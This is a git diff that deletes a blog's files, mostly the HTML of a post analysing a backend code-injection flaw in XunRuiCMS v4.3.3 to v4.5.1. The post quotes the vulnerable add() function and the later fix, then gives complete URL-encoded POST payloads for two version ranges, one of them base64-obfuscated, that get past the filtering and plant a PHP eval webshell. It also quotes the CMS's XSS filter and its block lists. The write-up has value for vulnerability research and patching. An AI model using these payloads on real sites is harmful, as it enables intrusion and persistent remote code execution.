- - - - - diff --git a/p/test-chinese/luca-bravo-alS7ewQ41M8-unsplash.jpg b/p/test-chinese/luca-bravo-alS7ewQ41M8-unsplash.jpg deleted file mode 100644 index f6c90bc3..00000000 Binary files a/p/test-chinese/luca-bravo-alS7ewQ41M8-unsplash.jpg and /dev/null differ diff --git a/p/test-chinese/luca-bravo-alS7ewQ41M8-unsplash_hu0a3f1163de68d0b9471979ebf0ecf11e_32400_1024x0_resize_q75_box.jpg b/p/test-chinese/luca-bravo-alS7ewQ41M8-unsplash_hu0a3f1163de68d0b9471979ebf0ecf11e_32400_1024x0_resize_q75_box.jpg deleted file mode 100644 index de8b71b5..00000000 Binary files a/p/test-chinese/luca-bravo-alS7ewQ41M8-unsplash_hu0a3f1163de68d0b9471979ebf0ecf11e_32400_1024x0_resize_q75_box.jpg and /dev/null differ diff --git a/p/test-chinese/luca-bravo-alS7ewQ41M8-unsplash_hu0a3f1163de68d0b9471979ebf0ecf11e_32400_480x0_resize_q75_box.jpg b/p/test-chinese/luca-bravo-alS7ewQ41M8-unsplash_hu0a3f1163de68d0b9471979ebf0ecf11e_32400_480x0_resize_q75_box.jpg deleted file mode 100644 index 56a2f6b2..00000000 Binary files a/p/test-chinese/luca-bravo-alS7ewQ41M8-unsplash_hu0a3f1163de68d0b9471979ebf0ecf11e_32400_480x0_resize_q75_box.jpg and /dev/null differ diff --git a/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/expliot-db.d6d0f23494fcfe00d4fac72faebda90f.png b/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/expliot-db.d6d0f23494fcfe00d4fac72faebda90f.png deleted file mode 100644 index 070ecfed..00000000 Binary files a/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/expliot-db.d6d0f23494fcfe00d4fac72faebda90f.png and /dev/null differ diff --git a/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/expliot-db.d6d0f23494fcfe00d4fac72faebda90f_hud9700ca58d822386b8178068bd5ae476_8790_250x150_fill_box_smart1_3.png b/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/expliot-db.d6d0f23494fcfe00d4fac72faebda90f_hud9700ca58d822386b8178068bd5ae476_8790_250x150_fill_box_smart1_3.png deleted file mode 100644 index 799b17cb..00000000 Binary files a/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/expliot-db.d6d0f23494fcfe00d4fac72faebda90f_hud9700ca58d822386b8178068bd5ae476_8790_250x150_fill_box_smart1_3.png and /dev/null differ diff --git a/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/expliot-db.png b/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/expliot-db.png deleted file mode 100644 index 070ecfed..00000000 Binary files a/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/expliot-db.png and /dev/null differ diff --git a/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_120x120_fill_box_smart1_3.png b/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_120x120_fill_box_smart1_3.png deleted file mode 100644 index f05890cc..00000000 Binary files a/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_120x120_fill_box_smart1_3.png and /dev/null differ diff --git a/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_1600x0_resize_box_3.png b/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_1600x0_resize_box_3.png deleted file mode 100644 index adbc4610..00000000 Binary files a/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_1600x0_resize_box_3.png and /dev/null differ diff --git a/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_800x0_resize_box_3.png b/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_800x0_resize_box_3.png deleted file mode 100644 index 04520161..00000000 Binary files a/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_800x0_resize_box_3.png and /dev/null differ diff --git a/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/index.html b/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/index.html deleted file mode 100644 index b9fc4a3a..00000000 --- a/p/xunruicms-v4.3.3-to-v4.5.1-backstage-code-injection-vulnerabilityfile-write-and-file-inclusion/index.html +++ /dev/null @@ -1,1947 +0,0 @@ - - - - -XunRuiCMS v4.3.3 to v4.5.1 backstage code injection vulnerability(file write and file inclusion) - - - - - - - - - - - - - - - - -
- - - - -
-
-
-
- - Featured image of post XunRuiCMS v4.3.3 to v4.5.1 backstage code injection vulnerability(file write and file inclusion) - - -
- - -
- -
- - - expliot-db - - -
- - -
-

- XunRuiCMS v4.3.3 to v4.5.1 backstage code injection vulnerability(file write and file inclusion) -

- - -

- XunRuiCMS v4.3.3 to v4.5.1 -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

prerequisite

-

two conditions:

-

1.XunRuiCMS version is v4.3.3 to v4.5.1

-

2.You can log in to the background,And it is an administrator account or have the management permission of “应用”->“任务队列”

-

environment setup

-
    -
  1. -

    install and configure php and web middleware, note that the low version of the cms requires a low version of php

    -
    2. -
  2. -

    clone the official open source address of the cms https://gitee.com/dayrui/xunruicms

    -
    3. -
  3. -

    search for the version number in the commit message to fall back to the specified version

    -
    4. -
-

In PhpStorm, right-click the specified commit version and select “Reset Current Branch to Here”.

-

Select “Hard” and click “Reset”.

-
    -
  1. Access, install, and login to the backend
    2. -
-

Backend address:/admin.php

-

Translated with www.DeepL.com/Translator (free version)

-

vulnerability description

-

Admin controller folder, Cron.php controller, add() function, there is no special filtering for user input, this will cause the attacker to execute the attack when he has administrator privileges or administrative privileges of “应用”->“任务队列”, write anything to the WRITEPATH.'config/cron.php', at the same time, the file has multiple points that can be executed and utilized, under normal circumstances, the above trigger conditions can stably trigger the vulnerability

-

vulnerability principle

-

before version v4.3.3

-

before version v4.3.3, there is no “add()” function under “cron.php”

-

Under versions v4.3.3 to v4.5.0

-

1.The CMS, with the above permissions, Can be accessed through http://host:port/Admin.php?c=Cron&m=add call the add() function of the Cron.php controller under the Admin controller folder

-

2.code of add() function:

-
- -
-
 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
-10
-11
-12
-13
-14
-15
-16
-17
-18
-19
-20
-21
-22
-23
-24
-25
-26
-27
-
 -
// 任务类型
-public function add() {
-
-    $json = '';
-    if (is_file(WRITEPATH.'config/cron.php')) {
-        require WRITEPATH.'config/cron.php';
-    }
-
-    $data = json_decode($json, true);
-
-    if (IS_AJAX_POST) {
-
-        $post = \Phpcmf\Service::L('input')->post('data', true);
-
-        file_put_contents(WRITEPATH.'config/cron.php',
-            '<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');'.PHP_EOL.' $json=\''.json_encode($post).'\';');
-
-        \Phpcmf\Service::L('input')->system_log('设置自定义任务类型');
-
-        $this->_json(1, dr_lang('操作成功'));
-    }
-
-    \Phpcmf\Service::V()->assign([
-        'data' => $data,
-    ]);
-    \Phpcmf\Service::V()->display('cron_add.html');
-}
-
-
-

analysis of add() function

-
- -
-
1
-2
-3
-
 -
if (is_file(WRITEPATH.'config/cron.php')) {
-    require WRITEPATH.'config/cron.php';
-}
-
-
-

The add() function will first include the WRITEPATH.'config/cron.php' file when it exists, WRITEPATH can be configured in index.php under the root directory of the website, By default, it is cache/ under the root directory of the website

-
- -
-
1
-2
-
 -
$json = '';
-$data = json_decode($json, true);
-
-
-

Then the add() function assigns Null to $data through the json_decode($json, true) function

-
- -
-
1
-
 -
if (IS_AJAX_POST){}
-
-
-

Then enter an if branch statement, When IS_AJAX_POST, then execute the relevant code written to the file, otherwise, skip writing to the file, show cron’s add page, the add() function ends, IS_AJAX_POST is defined as returning TRUE when a post request is received and the content of post is not empty, otherwise, return to FALSE

-
- -
-
1
-
 -
$post = \Phpcmf\Service::L('input')->post('data', true);
-
-
-

In if statement, first \Phpcmf\Service::L('input')->post('data', true) The code calls the post() function of class Input defined in the Input.php file, When a post request is received and the key is data, perform “XSS cleaning” and return, otherwise, return to false directly, then assign it to $post, the code of “XSS cleaning” is relatively long, I put it at the end of this article, the “XSS cleaning” here can be easily bypassed, so as to write whatever we want

-
- -
-
1
-2
-
 -
file_put_contents(WRITEPATH.'config/cron.php',
-            '<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');'.PHP_EOL.' $json=\''.json_encode($post).'\';');
-
-
-

In if statement, post request received, then, the received content is encoded by JSON and written into WRITEPATH.'config/cron.php' file, the controllable write point is located in the assignment of string $json, and in the package of two '’s, here is the main reason for the vulnerability, write the corresponding file without making sufficient judgment or cleaning on the user’s input

-
- -
-
1
-2
-
 -
\Phpcmf\Service::L('input')->system_log('设置自定义任务类型');
-$this->_json(1, dr_lang('操作成功'));
-
-
-

End of if statement, write log and display operation results, the cron add interface is displayed, and the add() function ends

-

Bypass JSON encoding and “XSS cleaning” and package ' in WRITEPATH.'config/cron.php' file

-

Through the above analysis, we can find that, the add() function basically has no special precautions against user input, as long as we bypass the “XSS cleaning” and JSON encoding and the package ' in the WRITEPATH.'config/cron.php' file, we can write whatever we want

-

The following is one of my methods. In the WRITEPATH.'config/cron.php' file, write the PHP statement of a file named webshell.php with the content of <?php eval(@$_POST["password"]);?> in the root directory of the website when running the WRITEPATH.'config/cron.php' file

-

Note that the following operations need to obtain csrf_test_name first and obtain the method:

-

1.Visit http://host:port/Admin.php?c=Cron&m=add

-

2.Capture the post package sent when clicking “save”

-

3.csrf_test_name in the content of post can be used as csrf_test_name for a period of time

-

After obtaining csrf_test_name", give http://host:port/Admin.php?c=Cron&m=add post the following:

-
- -
-
1
-
 -
isform=1&csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&data%5B1%5D%5Bname%5D=&data%5B1%5D%5Bcode%5D=%5B';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php%20eval'.base64_decode('KA==').'@$_POST%5B'.base64_decode('Ig==').'password'.base64_decode('Ig==').'%5D'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;'%5D
-
-
-

After URL decoding, it is:

-
- -
-
1
-
 -
isform=1&csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&data[1][name]=&data[1][code]=[';file_put_contents('webshell.php',htmlspecialchars_decode('&lt;').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('&gt;'));return;']
-
-
-

After bypassing JSON encoding and “XSS cleaning”, the contents written in WRITEPATH.'config/cron.php' file are:

-
- -
-
1
-2
-
 -
<?php defined('FCPATH') OR exit('No direct script access allowed');
- $json='{"1":{"name":"","code":"[';file_put_contents('webshell.php',htmlspecialchars_decode('&lt;').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;']"}}';
-
-
-

The key points in this post content are

-
- -
-
1
-
 -
[';file_put_contents('webshell.php',htmlspecialchars_decode('&lt;').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('&gt;'));return;']
-
-
-

After bypassing JSON encoding and “XSS cleaning”, the content here becomes:

-
- -
-
1
-
 -
[';file_put_contents('webshell.php',htmlspecialchars_decode('&lt;').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;']
-
-
-

The package of ' in document WRITEPATH.'config/cron.php' is closed

-

include the WRITEPATH.'config/cron.php' file written to

-

Through the analysis of add() function, when you call the add() function, you will first include the WRITEPATH.'config/cron.php' file when it exists, therefore, you can access http://host:port/Admin.php?c=Cron&m=add directly

-

After accessing http://host:port/Admin.php?c=Cron&m=add, http://host:port/Admin.php?c=Cron&m=add file named webshell.php will be generated in the root directory of the website, and the content of the file is <?php eval(@$_POST["password"]);?>

-

version v4.5.1

-

code of add() function:

-
- -
-
 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
-10
-11
-12
-13
-14
-15
-16
-17
-18
-19
-20
-21
-22
-23
-24
-25
-26
-27
-28
-29
-30
-31
-32
-33
-34
-35
-36
-37
-
 -
// 任务类型
-public function add() {
-
-    $json = '';
-    if (is_file(WRITEPATH.'config/cron.php')) {
-        require WRITEPATH.'config/cron.php';
-    }
-    $data = json_decode($json, true);
-
-    if (IS_AJAX_POST) {
-
-        $post = \Phpcmf\Service::L('input')->post('data');
-        if ($post && is_array($post)) {
-            foreach ($post as $key => $t) {
-                if (!$t || !$t['name']) {
-                    unset($post[$key]);
-                }
-                $post[$key]['name'] = dr_safe_filename($t['name']);
-                $post[$key]['code'] = dr_safe_filename($t['code']);
-            }
-        } else {
-            $post = [];
-        }
-
-        file_put_contents(WRITEPATH.'config/cron.php',
-            '<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');'.PHP_EOL.' $json=\''.json_encode($post).'\';');
-
-        \Phpcmf\Service::L('input')->system_log('设置自定义任务类型');
-
-        $this->_json(1, dr_lang('操作成功'));
-    }
-
-    \Phpcmf\Service::V()->assign([
-        'data' => $data,
-    ]);
-    \Phpcmf\Service::V()->display('cron_add.html');
-}
-
-
-

Compared with previous versions, version v4.5.1 modified the following code when obtaining the content of post:

-
- -
-
1
-
 -
$post = \Phpcmf\Service::L('input')->post('data',true);
-
-
-

change to

-
- -
-
1
-
 -
$post = \Phpcmf\Service::L('input')->post('data');
-
-
-

The second parameter of the post() function is whether to “XSS clean”. Since the default value of the second parameter of the post() function is true, this change will not have any impact in theory

-

At the same time, after obtaining the content of post and before writing WRITEPATH.'config/cron.php' file, the following code is added:

-
- -
-
 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
-10
-11
-
 -
if ($post && is_array($post)) {
-    foreach ($post as $key => $t) {
-        if (!$t || !$t['name']) {
-            unset($post[$key]);
-        }
-        $post[$key]['name'] = dr_safe_filename($t['name']);
-        $post[$key]['code'] = dr_safe_filename($t['code']);
-    }
-} else {
-    $post = [];
-}
-
-
-

The above code first determines whether the content of post exists and is an array. If it does not meet the requirements, it will set the content of post as an empty array. If it meets the requirements, it will traverse the content of post. If the value of a key value pair does not exist or the value of 'name' key of value of a key value pair does not exist, it will destroy the key value pair, and then clean the 'name' key and 'code' key of value of each key value pair through the dr_safe_filename() function, the following is the code of the dr_safe_filename() function:

-
- -
-
 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
-10
-
 -
/**
- * 安全过滤文件及目录名称函数
- */
-function dr_safe_filename($string) {
-    return str_replace(
-        ['..', "/", '\\', ' ', '<', '>', "{", '}', ';', ':', '[', ']', '\'', '"', '*', '?'],
-        '',
-        (string)$string
-    );
-}
-
-
-

bypass the JSON encoding, “XSS cleaning”, dr_safe_filename() function filtering and packages in WRITEPATH.'config/cron.php' file

-

Instead of trying to bypass the dr_safe_filename() function, let’s try another extremely simple method

-

Through the audit of the “XSS cleaning” function and the newly added code of the v5add() function, we can find that there is no filter for the key of the array, including the key of each dimension of the multidimensional array. Therefore, we can modify the key in the content of post to write any content we want

-

The following is my method. In the whole process of vulnerability exploitation, except for the above-mentioned filtering of value of key value pairs added in the add() function, other processes have no change compared with the previous version:

-

After obtaining csrf_test_name, give http://host:port/Admin.php?c=Cron&m=add post the following contents:

-
- -
-
1
-
 -
isform=1&csrf_test_name=9f3342fbce7b49c85f05776bf89db778&data%5B1%5D%5Bname%5D=1&data%5B1%5D%5Bcode":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'%5D=1
-
-
-

After url decoding, it is:

-
- -
-
1
-
 -
isform=1&csrf_test_name=9f3342fbce7b49c85f05776bf89db778&data[1][name]=1&data[1][code":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;']=1
-
-
-

After bypassing the filtering of JSON encoding, “XSS cleaning” and dr_safe_filename() function, the contents written in WRITEPATH.'config/cron.php' file are:

-
- -
-
1
-2
-
 -
<?php defined('FCPATH') OR exit('No direct script access allowed');
- $json='{"1":{"name":"1","code\":\"1\"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw\/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'":"1","code":""}}';
-
-
-

The key points in this post content are

-
- -
-
1
-
 -
":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'
-
-
-

After bypassing the filtering of JSON encoding, “XSS cleaning” and dr_safe_filename() function, the content here becomes:

-
- -
-
1
-
 -
\":\"1\"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw\/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'
-
-
-

The package of ' in document WRITEPATH.'config/cron.php' is closed

-

include the WRITEPATH.'config/cron.php' file written to

-

Through the analysis of the add() function in front, when calling the add() function, the WRITEPATH.'config/cron.php' file will be included when the WRITEPATH.'config/cron.php' file exists, so you can directly access http://host:port/Admin.php?c=Cron&m=add

-

After accessing http://host:port/Admin.php?c=Cron&m=add, http://host:port/Admin.php?c=Cron&m=add file named webshell.php will be generated in the root directory of the website, and the content of the file is <?php eval(@$_POST["password"]);?>

-

after version v4.5.1

-

The add() function is deleted

-

POC && EXP

-

It’s very simple. I won’t write it, but note that there may be holes in the CMS of the target site. For example, the version number is low but the actual site file has been updated

-

POC

-

Log in to the background, get the version number, and then verify whether it is an administrator or has the management permission of “应用”->“任务队列”

-

EXP

-

Log in to the background, then post write malicious code, and finally get access to malicious files

-

xss_clean() function

-
- -
-
  1
-  2
-  3
-  4
-  5
-  6
-  7
-  8
-  9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
-100
-101
-102
-103
-104
-105
-106
-107
-108
-109
-110
-111
-112
-113
-114
-115
-116
-117
-118
-119
-120
-121
-122
-123
-124
-125
-126
-127
-128
-129
-130
-131
-132
-133
-134
-135
-136
-137
-138
-139
-140
-141
-142
-143
-144
-145
-146
-147
-148
-149
-150
-151
-152
-153
-154
-155
-156
-157
-158
-159
-160
-161
-162
-163
-164
-165
-166
-167
-168
-169
-170
-171
-172
-173
-174
-175
-176
-177
-178
-179
-180
-181
-182
-183
-184
-185
-186
-187
-188
-189
-190
-191
-192
-193
-194
-195
-196
-197
-198
-199
-200
-201
-202
-203
-204
-205
-206
-207
-208
-209
-210
-211
-212
-213
-214
-215
-216
-217
-218
-219
-220
-221
-222
-223
-224
-225
-226
-227
-228
-229
-230
-231
-232
-233
-234
-235
-236
-237
-238
-239
-240
-241
-242
-243
-244
-245
-246
-247
-248
-249
-250
-251
-252
-253
-254
-255
-256
-257
-258
-259
-260
-261
-262
-263
-264
-265
-266
-267
-268
-269
-270
-271
-272
-273
-274
-275
-276
-277
-278
-279
-280
-281
-282
-283
-284
-285
-286
-287
-288
-289
-290
-291
-292
-293
-294
-295
-296
-297
-298
-299
-300
-301
-302
-303
-304
-305
-306
-307
-308
-309
-310
-311
-312
-313
-314
-315
-316
-317
-318
-319
-320
-321
-322
-323
-324
-325
-326
-327
-328
-329
-330
-331
-332
-333
-334
-335
-336
-337
-338
-339
-340
-341
-342
-343
-344
-345
-346
-347
-348
-349
-350
-351
-352
-353
-354
-355
-356
-357
-358
-359
-360
-361
-362
-363
-364
-365
-366
-367
-368
-369
-370
-371
-372
-373
-374
-375
-376
-377
-378
-379
-380
-381
-382
-383
-384
-385
-386
-387
-388
-389
-390
-391
-392
-393
-394
-395
-396
-397
-398
-399
-400
-401
-402
-403
-404
-405
-406
-
 -
<?php namespace Phpcmf\Library;
-/**
- * {{www.xunruicms.com}}
- * {{迅睿内容管理框架系统}}
- * 本文件是框架系统文件，二次开发时不可以修改本文件，可以通过继承类方法来重写此文件
- **/
-
-/**
- * 安全过滤
- */
-class Security {
-
-	/**
-	 * List of sanitize filename strings
-	 *
-	 * @var	array
-	 */
-	public $filename_bad_chars = [
-		'../', '<!--', '-->', '<', '>',
-		"'", '"', '&', '$', '#',
-		'{', '}', '[', ']', '=',
-		';', '?', '%20', '%22',
-		'%3c',		// <
-		'%253c',	// <
-		'%3e',		// >
-		'%0e',		// >
-		'%28',		// (
-		'%29',		// )
-		'%2528',	// (
-		'%26',		// &
-		'%24',		// $
-		'%3f',		// ?
-		'%3b',		// ;
-		'%3d'		// =
-    ];
-
-    protected $naughty_tags  = [];
-
-    protected $evil_attributes = [];
-
-	/**
-	 * Character set
-	 *
-	 * Will be overridden by the constructor.
-	 *
-	 * @var	string
-	 */
-	public $charset = 'UTF-8';
-
-	/**
-	 * XSS Hash
-	 *
-	 * Random Hash for protecting URLs.
-	 *
-	 * @var	string
-	 */
-	protected $_xss_hash;
-
-	/**
-	 * List of never allowed strings
-	 *
-	 * @var	array
-	 */
-	protected $_never_allowed_str =	[
-		'document.cookie' => '[xss_clean]',
-		'(document).cookie' => '[xss_clean]',
-		'document.write'  => '[xss_clean]',
-		'(document).write'  => '[xss_clean]',
-		'.parentNode'     => '[xss_clean]',
-		'.innerHTML'      => '[xss_clean]',
-		'-moz-binding'    => '[xss_clean]',
-		'<!--'            => '&lt;!--',
-		'-->'             => '--&gt;',
-		'<![CDATA['       => '&lt;![CDATA[',
-		'<comment>'	  => '&lt;comment&gt;',
-		'<%'              => '&lt;&#37;'
-    ];
-
-	// 替换前的处理
-	protected $_never_call_str = [
-        '&quot;javascript:'    => '&quot;javascript_xunruicms:',
-    ];
-
-	/**
-	 * List of never allowed regex replacements
-	 *
-	 * @var	array
-	 */
-	protected $_never_allowed_regex = [
-		'javascript\s*:',
-		'(\(?document\)?|\(?window\)?(\.document)?)\.(location|on\w*)',
-		'expression\s*(\(|&\#40;)', // CSS and IE
-		'vbscript\s*:', // IE, surprise!
-		'wscript\s*:', // IE
-		'jscript\s*:', // IE
-		'vbs\s*:', // IE
-		'Redirect\s+30\d',
-		"([\"'])+data\s*:[^\\1]*?base64[^\\1]*?,[^\\1]*?\\1?"
-    ];
-
-
-
-	// --------------------------------------------------------------------
-
-	/**
-	 * XSS Clean
-	 *
-	 * Sanitizes data so that Cross Site Scripting Hacks can be
-	 * prevented.  This method does a fair amount of work but
-	 * it is extremely thorough, designed to prevent even the
-	 * most obscure XSS attempts.  Nothing is ever 100% foolproof,
-	 * of course, but I haven't been able to get anything passed
-	 * the filter.
-	 *
-	 * Note: Should only be used to deal with data upon submission.
-	 *	 It's not something that should be used for general
-	 *	 runtime processing.
-	 *
-	 * @link	http://channel.bitflux.ch/wiki/XSS_Prevention
-	 * 		Based in part on some code and ideas from Bitflux.
-	 *
-	 * @link	http://ha.ckers.org/xss.html
-	 * 		To help develop this script I used this great list of
-	 *		vulnerabilities along with a few other hacks I've
-	 *		harvested from examining vulnerabilities in other programs.
-	 *
-	 * @param	string|string[]	$str		Input data
-	 * @param 	bool		$is_image	    严格的过滤
-	 * @return	string
-	 */
-	public function xss_clean($str, $is_image = FALSE)
-	{
-
-		if (is_numeric($str)) {
-			return $str;
-		} elseif (!$str) {
-	        return '';
-        }
-
-		// Is the string an array?
-		if (is_array($str))
-		{
-			foreach ($str as $key => &$value)
-			{
-				$str[$key] = $this->xss_clean($value, $is_image);
-			}
-
-			return $str;
-		}
-
-        if (json_encode( $str) === false) {
-            return '[xss_clean]'; // 判断含有乱码直接过滤为空
-        }
-
-        $this->naughty_tags = [
-            'alert', 'area', 'prompt', 'confirm', 'applet', 'audio', 'basefont', 'base', 'behavior', 'bgsound',
-            'blink', 'body',  'expression', 'form', 'frameset', 'frame', 'head', 'html', 'ilayer',
-            'input', 'button', 'select', 'isindex', 'layer', 'link', 'meta', 'keygen', 'object',
-            'plaintext', 'script', 'textarea', 'title', 'math',  'svg', 'xml', 'xss',
-            //'iframe', 'video', 'embed', 'style'  //排除过滤
-
-        ];
-        $this->evil_attributes = [
-            'on\w+', 'xmlns', 'formaction', 'form', 'xlink:href', 'FSCommand', 'seekSegmentTime'
-            //  ,'style' 排除过滤
-
-        ];
-
-        if ($is_image) {
-            // 严格的过滤
-            $this->naughty_tags = array_merge($this->naughty_tags, array('iframe', 'video', 'embed', 'style'));
-            $this->evil_attributes = array_merge($this->evil_attributes, array('style'));
-            /*
-             * URL Decode
-             *
-             * Just in case stuff like this is submitted:
-             *
-             * <a href="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">Google</a>
-             *
-             * Note: Use rawurldecode() so it does not remove plus signs
-             * */
-
-            if (stripos($str, '%') !== false)
-            {
-                do
-                {
-                    $oldstr = $str;
-                    $str = rawurldecode($str);
-                    $str = preg_replace_callback('#%(?:\s*[0-9a-f]){2,}#i', [$this, '_urldecodespaces'], $str);
-                }
-                while ($oldstr !== $str);
-                unset($oldstr);
-            }
-
-            /*
-             * Convert character entities to ASCII
-             *
-             * This permits our tests below to work reliably.
-             * We only convert entities that are within tags since
-             * these are the ones that will pose security problems.
-             */
-
-            // 不进行二次编码的xss过滤
-            $str = preg_replace_callback("/[^a-z0-9>]+[a-z0-9]+=([\'\"]).*?\\1/si", array($this, '_convert_attribute'), $str);
-            $str = preg_replace_callback('/<\w+.*/si', array($this, '_decode_entity'), $str);
-        }
-
-
-		// Remove Invisible Characters Again!
-		$str = remove_invisible_characters($str);
-
-		/*
-		 * Convert all tabs to spaces
-		 *
-		 * This prevents strings like this: ja	vascript
-		 * NOTE: we deal with spaces between characters later.
-		 * NOTE: preg_replace was found to be amazingly slow here on
-		 * large blocks of data, so we use str_replace.
-		 */
-		$str = str_replace("\t", ' ', $str);
-
-		// Capture converted string for later comparison
-		$converted_string = $str;
-
-		// Remove Strings that are never allowed
-		//$str = $this->_do_never_allowed($str);
-
-		/*
-		 * Makes PHP tags safe
-		 *
-		 * Note: XML tags are inadvertently replaced too:
-		 *
-		 * <?xml
-		 *
-		 * But it doesn't seem to pose a problem.
-		 */
-		if ($is_image)
-		{
-			// Images have a tendency to have the PHP short opening and
-			// closing tags every so often so we skip those and only
-			// do the long opening tags.
-			$str = preg_replace('/<\?(php)/i', '&lt;?\\1', $str);
-		}
-		else
-		{
-			$str = str_replace(['<?', '?'.'>'], ['&lt;?', '?&gt;'], $str);
-		}
-
-		/*
-		 * Compact any exploded words
-		 *
-		 * This corrects words like:  j a v a s c r i p t
-		 * These words are compacted back to their correct state.
-		 */
-		$words = [
-            'javascript', 'expression', 'vbscript', 'jscript', 'wscript',
-            'vbs', 'script', 'base64', 'applet', 'alert', 'document',
-            'write', 'cookie', 'window', 'confirm', 'prompt', 'eval'
-        ];
-
-		foreach ($words as $word)
-		{
-			$word = implode('\s*', str_split($word)).'\s*';
-
-			// We only want to do this when it is followed by a non-word character
-			// That way valid stuff like "dealer to" does not become "dealerto"
-			$str = preg_replace_callback('#('.substr($word, 0, -3).')(\W)#is', array($this, '_compact_exploded_words'), $str);
-		}
-
-		/*
-		 * Remove disallowed Javascript in links or img tags
-		 * We used to do some version comparisons and use of stripos(),
-		 * but it is dog slow compared to these simplified non-capturing
